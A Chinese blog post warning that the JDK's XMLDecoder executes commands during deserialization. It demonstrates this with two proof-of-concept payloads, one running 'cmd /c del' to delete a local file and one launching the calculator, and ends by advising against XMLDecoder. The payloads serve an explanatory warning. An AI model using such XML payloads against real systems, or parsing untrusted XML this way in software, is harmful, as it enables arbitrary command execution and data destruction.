
昨天在公司發現了一個jdk中的XMLDecoder反序列化的漏洞,看起來很危險!下面通過兩個示例來看看這個漏洞的危害!
示例1:利用XmlDecoder删除本地檔案
首先來看這個xmldecoder.xml檔案内容:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="4">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>del</string>
</void>
<void index="3">
<string>e:\1.txt</string>
</void>
</array>
<void method="start" />
</object>
</java>
再來看利用XMLDecoder解析這個xml檔案的示例代碼:
private static void byXmlFile() {
File file = new File("E:\\xmldecoder.xml");
XMLDecoder xd = null;
try {
xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
} catch (Exception e) {
e.printStackTrace();
}
Object s2 = xd.readObject();
xd.close();
}
這段代碼執行後,直接删除了本地的e:\1.txt檔案,相當于在指令行調用了cmd /c del e:\1.txt指令,直接删除了本地檔案,相當恐怖!
示例2:利用XmlDecoder調用本地程式
private static void byXmlString() {
String xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
.append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
.append(" <object class=\"java.lang.ProcessBuilder\">")
.append(" <array class=\"java.lang.String\" length=\"1\">")
.append(" <void index=\"0\">")
.append(" <string>calc</string>")
.append(" </void>")
.append(" </array>")
.append(" <void method=\"start\" />")
.append(" </object>")
.append("</java>").toString();
XMLDecoder xd = null;
try {
xd = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));
} catch (Exception e) {
e.printStackTrace();
}
Object s2 = xd.readObject();
xd.close();
}
這段代碼改成了用String輸入源的形式,這不重要,重要的是還是利用了jdk中的XmlDecoder類來解析xml字元串。這段代碼執行後,會調用出本地的電腦程式。
其中ProcessBuilder.start()的方法和Runtime.exec()方法一樣,都可以被用來建立一個作業系統程序,可用來控制程序狀态并獲得相關資訊。
ProcessBuilder的構造方法接受一個指令清單。
public ProcessBuilder(List<String> command) {
if (command == null)
throw new NullPointerException();
this.command = command;
}
總結
Jdk中的XmlDecoder反序列化存在安全漏洞,能調用本地的應用,也能執行系統支援的指令,一旦黑客組織成指令清單攻擊系統,後果不堪設想!
我隻是用ProcessBuilder類示範了調用系統程式這兩種案例,當然還有其他,遠不止這一種攻擊手段。作者看了下,這個漏洞在jdk8_0_151版本中還存在。
建議不要用JDK中的XmlDeocder類,尋求其它更安全的xml解析工具類。
求轉發,緊急擴散,避免更大程度的損失!~
推薦閱讀
個人珍藏最全Spring Boot全套視訊教程 分享一套進階視訊教程:Dubbo+Zookeeper+ActiveMQ+Redis系列 分享一套分布式架構設計進階視訊教程 分享一套Hadoop全套視訊教程系列 去BAT面試完的Mysql面試題總結(55道,帶完整答案) 阿裡進階Java面試題(首發,70道,帶詳細答案) 2017派卧底去阿裡、京東、美團、滴滴帶回來的面試題及答案 Spring面試題(70道,史上最全) 通往大神之路,百度Java面試題前200頁。分享Java幹貨,高并發程式設計,熱門技術教程,微服務及分布式技術,架構設計,區塊鍊技術,人工智能,大資料,Java面試題,以及前沿熱門資訊等。